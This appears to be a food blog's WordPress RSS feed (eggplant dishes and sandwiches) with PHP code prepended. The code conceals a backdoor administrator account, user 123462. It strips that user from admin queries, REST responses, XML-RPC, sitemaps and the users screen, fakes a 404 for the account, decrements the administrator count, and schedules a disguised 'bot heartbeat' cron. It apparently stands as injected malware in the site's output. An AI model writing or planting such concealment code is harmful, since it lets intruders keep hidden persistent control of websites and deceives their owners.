add_action( 'pre_get_posts', function( $q ) {
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    if ( current_user_can( 'manage_options' ) ) {
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} );

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    $exclude[] = 123462;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
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    }
    return $result;
}, 10, 3 );

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        $methods['wp.getUser'],
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    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
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    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-123462{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<pubDate>Tue, 27 Sep 2016 15:01:57 +0000</pubDate>
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		<title>Eggplant Parmesan</title>
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		<pubDate>Wed, 20 May 2015 19:53:35 +0000</pubDate>
				<category><![CDATA[Eggplant]]></category>
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		<title>Massimo From Carluccio&#8217;s</title>
		<link>https://damnthatlooksgood.com/massimo-from-carluccios/</link>
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		<pubDate>Thu, 17 Nov 2011 21:49:21 +0000</pubDate>
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					<description><![CDATA[<p>Eggplants with tomato sauce, rocca, roasted vegetables, pastrami, couple of cheese types, tuna balls, focaccia bread, dried [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/massimo-from-carluccios/" target="_blank">Massimo From Carluccio's</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Eggplants with tomato sauce, rocca, roasted vegetables, pastrami, couple of cheese types, tuna balls, focaccia bread, dried tomato, roasted turkey.</p>
<p>You can visit their website <a href="http://www.carluccios.com/">here</a>.</p>
<p>Photo courtesy of <a href="http://www.klamtam.com/archives/lunch-carluccios">Klamtan</a>.</p>
<p>United Kingdom</p><p>The post <a href="https://damnthatlooksgood.com/massimo-from-carluccios/" target="_blank">Massimo From Carluccio's</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<pubDate>Thu, 07 Jul 2011 12:59:24 +0000</pubDate>
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					<description><![CDATA[<p>Greek dish with eggplants, minced meat, and béchamel sauce with Parmesan cheese and breadcrumbs. Thanks to Mina [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/papoutsakia/" target="_blank">Papoutsakia</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Greek dish with eggplants, minced meat, and béchamel sauce with Parmesan cheese and breadcrumbs.</p>
<p>Thanks to Mina for the photo!</p>
<p>Thessaloniki, Greece</p><p>The post <a href="https://damnthatlooksgood.com/papoutsakia/" target="_blank">Papoutsakia</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Nicky Special From Defonte’s</title>
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		<pubDate>Wed, 11 May 2011 13:28:10 +0000</pubDate>
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					<description><![CDATA[<p>Ham, capicola, salami, fried eggplant, provolone, hot salad (a mix of celery, cauliflower, red pepper, green pepper, [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/nicky-special-from-defonte%e2%80%99s/" target="_blank">Nicky Special From Defonte’s</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Ham, capicola, salami, fried eggplant, provolone, hot salad (a mix of celery, cauliflower, red pepper, green pepper, and pepperocini), marinated mushrooms, lettuce, tomato, oil, and vinegar.</p>
<p>Photo courtesy of <a href="http://nycfoodguy.com/2009/02/24/nyc-sandwiches-defontes-of-brooklyn-open-in-manhattan/">NYC Food Guy</a>.</p>
<p>Brooklyn, New York</p><p>The post <a href="https://damnthatlooksgood.com/nicky-special-from-defonte%e2%80%99s/" target="_blank">Nicky Special From Defonte’s</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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